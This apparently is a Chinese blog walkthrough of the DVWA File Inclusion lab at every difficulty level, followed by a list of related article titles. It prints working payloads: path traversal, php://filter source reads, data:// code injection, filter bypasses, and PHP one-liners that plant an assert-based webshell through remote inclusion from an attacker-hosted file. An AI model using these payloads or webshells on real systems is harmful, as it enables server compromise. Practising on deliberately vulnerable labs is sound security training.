目录

LOW

通关步骤

一、本地文件包含

二、远程文件包含

代码分析

MEDIUM

通关步骤

一、本地文件包含

二、远程文件包含

代码分析

HIGH

通关步骤

一、本地文件包含

二、远程文件包含

代码分析

IMPOSSIBLE

代码分析

总结


LOW

通关步骤

一、本地文件包含

1、先搞清楚要干啥,当然可以像DVWA通关--文件上传(File Upload)的HIGH关一样,结合文件上传漏洞,包含木马,但是总做一样的事情未免有点没意思。

点右下角的View Help看了一下,File Inclusion这套关卡要求读取../hackable/flags/fi.php这个文件中的5个引用,也就是5个名言名句。

这个是本地文件包含的要求,后面也会一并尝试远程文件包含。

我在服务器上面看了一下这个文件的内容,如下图

可见1、2、4是直接包含了文件就可以在网页上看到(1是纯文本、2和4是php代码执行结果),

5是直接包含文件之后右键查看网页源代码可以看到(5是html注释),

而3需要通过文件包含查看到php源代码才能看到。

2、首先进行普通的本地文件包含:

地址栏输入:http://192.168.116.132/dvwa/vulnerabilities/fi/?page=../../hackable/flags/fi.php

就可以看到第1、2、4条引用直接可以在网页中看到

3、右键查看网页源代码,5也出现了

4、要把3弄出来的话,必须能够查看到fi.php的源代码,需要用到php伪协议php://filter

在地址栏输入:http://192.168.116.132/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../hackable/flags/fi.php

(“read=”是可以省略的,见MEDIUM)

可以得到fi.php源代码的base64编码:

随便找个在线base64解码工具解个码,就可以看到源代码,也就可以看到第3个引用啦

二、远程文件包含

方法1:

1、在攻击机192.168.116.1上创建待包含的文件fin.txt,文件内容如下:

<?php fputs(fopen('shell.php','w'),'<?php assert($_POST[fin]);?>');?>

当这个文件被成功包含之后,其中的php代码会执行,效果是在目标机上创建一个shell.php文件,并写入一句话木马。

2、攻击机192.168.116.1上用python3 -m http.server 80命令起http服务

3、浏览器地址栏输入payload:

http://192.168.116.132/dvwa/vulnerabilities/fi/?page=http://192.168.116.1/fin.txt

页面上看不出来什么鬼,打开目标机,可以发现fi文件夹下已经生成了shell.php文件:

4、蚁剑连接:

(不需要添加cookie字段)

方法2:

1、在攻击机192.168.116.1上创建待包含的文件sh.txt,文件内容如下:

<?php assert($_POST[fin]);?>

2、攻击机192.168.116.1上用python3 -m http.server 80命令起http服务

3、蚁剑直接通过远程文件包含来连接一句话木马:

http://192.168.116.132/dvwa/vulnerabilities/fi/?page=http://192.168.116.1/sh.txt

注意需要添加cookie

连接成功

代码分析

这关就是什么防护也没有,直接把url中page的值作为参数传递给index.php中的include函数,被包含的文件的内容便会被当作php代码运行。

MEDIUM

通关步骤

一、本地文件包含

1、先用LOW的payload试试

地址栏输入:http://192.168.116.132/dvwa/vulnerabilities/fi/?page=../../hackable/flags/fi.php

没成功,报错了,从报的错可以看出来,../../是被删掉了。

也就是说,这关不可以用相对路径,下面来试试绝对路径

2、从上图的报错信息中可以知道,fi.php的绝对路径是C:/phpstudy_pro/WWW/DVWA/hackable/flags/fi.php

地址栏输入:http://192.168.116.132/dvwa/vulnerabilities/fi/?page=C:/phpstudy_pro/WWW/DVWA/hackable/flags/fi.php

得到第1、2、4条引用

3、右键查看源代码,得到第5条引用

4、用php伪协议得到fi.php源代码的base64编码,解码后可以看到第3条引用

http://192.168.116.132/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=C:/phpstudy_pro/WWW/DVWA/hackable/flags/fi.php

二、远程文件包含

这关把http://给过滤掉了,但是可以用data://来实现远程文件包含。

用一句话木马演示有点麻烦,这关就用phpinfo来演示了。

反正一句话木马的话,记得如果是把木马写入了目标机,直接连接的时候就不用设置cookie,如果是通过文件包含来连接,就需要设置cookie,因为dvwa/vulnerabilities/fi路径下的index.php文件(也就是存在文件包含漏洞的文件)是需要验证cookie才能访问的。

方法1:

浏览器地址栏输入:

http://192.168.116.132/dvwa/vulnerabilities/fi/?page=data://text/plain,<?php phpinfo();?>

方法2:

浏览器地址栏输入:

http://192.168.116.132/dvwa/vulnerabilities/fi/?page=data://text/plain,<?php fputs(fopen('info.php','w'),'<?php phpinfo();?>');?>

目标机上可以看到dvwa/vulnerabilities/fi文件夹下已经生成了如下内容的文件info.php

浏览器地址栏输入:http://192.168.116.132/dvwa/vulnerabilities/fi/info.php

就可以看到该文件

代码分析

本关进行了相当随意的黑名单过滤,把"http://", "https://"和相对路径删掉了,所以可以用data://协议和绝对路径绕过。

但是。。。删相对路径的时候,程序写错了,应该是"..\\",程序里面写成"..\""了,这样的话,过滤的是.."而不是..\了。。

试了一下,这关本地文件包含用payload:http://192.168.116.132/dvwa/vulnerabilities/fi/?page=..\..\hackable\flags\fi.php果然也是可以的。

另外,由于是匹配删除式的过滤,而且只删除一次,因此也可以用双写绕过。

HIGH

通关步骤

一、本地文件包含

1、先试一下上一关的payload,报错了:

2、试一下php伪协议file://

http://192.168.116.132/dvwa/vulnerabilities/fi/?page=file://C:/phpstudy_pro/WWW/DVWA/hackable/flags/fi.php

成功得到1、2、4

3、右键查看网页源代码得到5

4、还剩个3,这次用php伪协议php://filter也不行了。

看了下代码,这关估计是看不到3了。page的值必须是file开头的,但是file://协议好像并不能查看php源代码,也不能对文件进行编码读取(按照目前网上查找的信息是这样的,但不能完全确认)。

好像也没有其他什么绕过方式。。。

如果哪位大神有不同的看法,欢迎留言

二、远程文件包含

本关的远程文件包含需要用本地文件包含结合文件上传来实现,比如:

1、利用文件上传漏洞上传图片马filex.jpeg(其实随便叫什么名字都可以),文件中包含如下的一句话木马

上传成功,返回保存路径

2、利用文件包含漏洞连接一句话木马:

注意2点:

(1)连接的url为:http://192.168.116.132/dvwa/vulnerabilities/fi/?page=file://C:/phpstudy_pro/WWW/DVWA/hackable/uploads/filex.jpeg

必须是绝对路径,相对路径不行

虽然php官方也说file://可以用相对路径,但实际上其只能用绝对路径,原因如下图(https://stackoverflow.com/questions/28853871/fopen-remote-host-file-access-not-accepted-on-a-local-file):

(2)蚁剑上需要设置cookie头

连接成功:

代码分析

这关要求page参数的值(包含的文件路径)必须是以file开头的,或者是include.php

fnmatch() 函数根据指定的模式来匹配文件名或字符串

IMPOSSIBLE

代码分析

这关只允许page参数的值(包含的文件路径)是当前路径下的include.php,file1.php,file2.php,file3.php

总结

又到了令人难受的总结部分。。。

好多文章都珠玉在前了,我这里就丢个脑图出来吧。。

除此之外,有两点是闯关和总结过程中发现的需要注意的点:

1、虽然有些文章中直接说远程文件包含不能包含.php文件。但经尝试,如果远程主机不能解析.php,比如是用python3 -m http.server起的http服务,则不会出现.php文件被包含之前先在远程主机上解析执行的情况,因此这种情况下是可以远程包含.php文件的。

2、再次重申:虽然php官方也说file://可以用相对路径,但实际上其只能用绝对路径

DVWA通关--文件包含(File Inclusion)相关推荐

  1. DVWA(4)文件包含(File Inclusion) LOW-HIGHT 操作记录

    今天带来第四期文件包含漏洞操作记录.初次接触DVWA,写下自己的操作记录,希望可以帮助每个刚接触DVWA的新手,同时希望可以提升自己的技术.注:如有操作不当的地方希望可以得到大神指导.交流.也感谢之前 ...

  2. DVWA远程文件包含防御

    在这里推荐下自己的博客,支持友链互换,Back's Blog 本次防御从代码层面出发, 尽量从多个角度进行防御.不足之处请指出.谢谢. 黑名单检测防御 首先看下dvwa的远程文件包含页面源码(low级 ...

  3. pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)

    目录 一.来自官方的简介 二.来自小可爱的通关步骤 第一关  File Inclusion(local) 1.读取"隐藏"文件 2.读取系统文件 3.结合文件上传getshell ...

  4. LFI(本地文件包含)、RFI(远程文件包含)、PHP封装协议(伪协议)安全问题学习

    友情链接:https://www.cnblogs.com/LittleHann/p/3665062.html 目录 一.文件包含的基本概念 1.要想成功利用文件包含漏洞,需要满足下面的条件 (1)in ...

  5. 【web安全】文件包含漏洞

    目录 1.什么是文件包含漏洞 2.产生原因 3.文件包含的类型 3.1本地文件包含 3.2远程文件包含 4.攻击利用手法 4.1 file:协议 4.2 php://协议 ​4.3 zip://,bz ...

  6. 文件包含和命令注入漏洞

    文件包含和命令注入漏洞 文件包含漏洞 介绍 文件包含漏洞是代码注入的一种.其原理就是注入一段用户能控制的脚本或代码,让服务器端执行,代码注入的典型代表就是文件包含file inclusion.文件包含 ...

  7. 【文件包含漏洞-02】文件包含漏洞分类与原理及其空字符安全绕过实验

    文件包含漏洞 文件包含(file inclusion)漏洞,当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include ...

  8. DVWA靶机-文件上传漏洞(File Upload)

    DVWA靶机-文件上传漏洞(File Upload) 文件上传漏洞的四个等级,low,medium,high,impossible,今天我们针对于不同的等级进行基于文件上传漏洞的攻击 DVWA靶机-暴 ...

  9. DVWA——文件包含

    File Inclusion学习 文件包含简介 实战:DVWA--文件包含 文件包含简介 一.文件包含简介: 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执 ...

最新文章

  1. slurm用户快速入门手册
  2. arm gcc栈帧结构(1)
  3. 毕业设计:基于Web实现多用户宿舍管理系统
  4. 网站更新的文章如何被百度快速收录?
  5. 在Servlet中使用开源fileupload包实现文件上传功能
  6. DataSet导出Excel,比以往的方法导出的Excel外观更加好看
  7. 如何创建Oracle DBLink
  8. [vue] 如何引入scss?引入后如何使用?
  9. 【Python】Python3.7.3 - memoization 结果缓存记忆程序设计优化技术
  10. ibatis调用mysql函数
  11. Spry Framework入门(四)——XML数据集排序
  12. Linux+gcc设置断点,gcc/g++常用编译选项和gdb常用调试命令
  13. vue-resource HTTP API基础
  14. DotNetBar SuperGridControl控件
  15. 学习电商的第一个业务,发票管理,发票作废(发票作废为重)
  16. 怎样把excel中的图表插入PPT并且可以在PPT中编辑图表
  17. 装配图中齿轮的画法_机械制图之装配图
  18. 网易Python爬虫:爬取网易科技频道文章存入MySQL数据库
  19. CSS3动画(动画已丢,看原文)
  20. sql导出的身份证后几位是000

热门文章

  1. SVM处理月亮、鸢尾花数据集
  2. locojoy php,我叫MT1手工端+视频教程+后台+安卓客户端
  3. 基本k-mean聚类的文本聚类算法原理和例子
  4. js获取当前域名 获取host
  5. 一个IPV4的网络地址,通常可以划分为网络号和主机号,网络号相同的两台主机位于同一个子网,为了方便快速的确定一个地址所在的子网,我们通常需要提供一个IP地址的子网掩码,用这个子网掩码与给定的IPV4地
  6. Android4.4-Launcher源码分析系列之Launcher界面修改、壁纸替换、图标替换、修改滚动指示器
  7. leetcode 54.螺旋矩阵
  8. 中国计算机学会青年精英大会,中国计算机学会YOCSEF二十周年庆典暨2018 CCF青年精英大会召开...
  9. python dota2数据 3 下载胜负数据
  10. wow魔兽版 中国队VS乌兹别克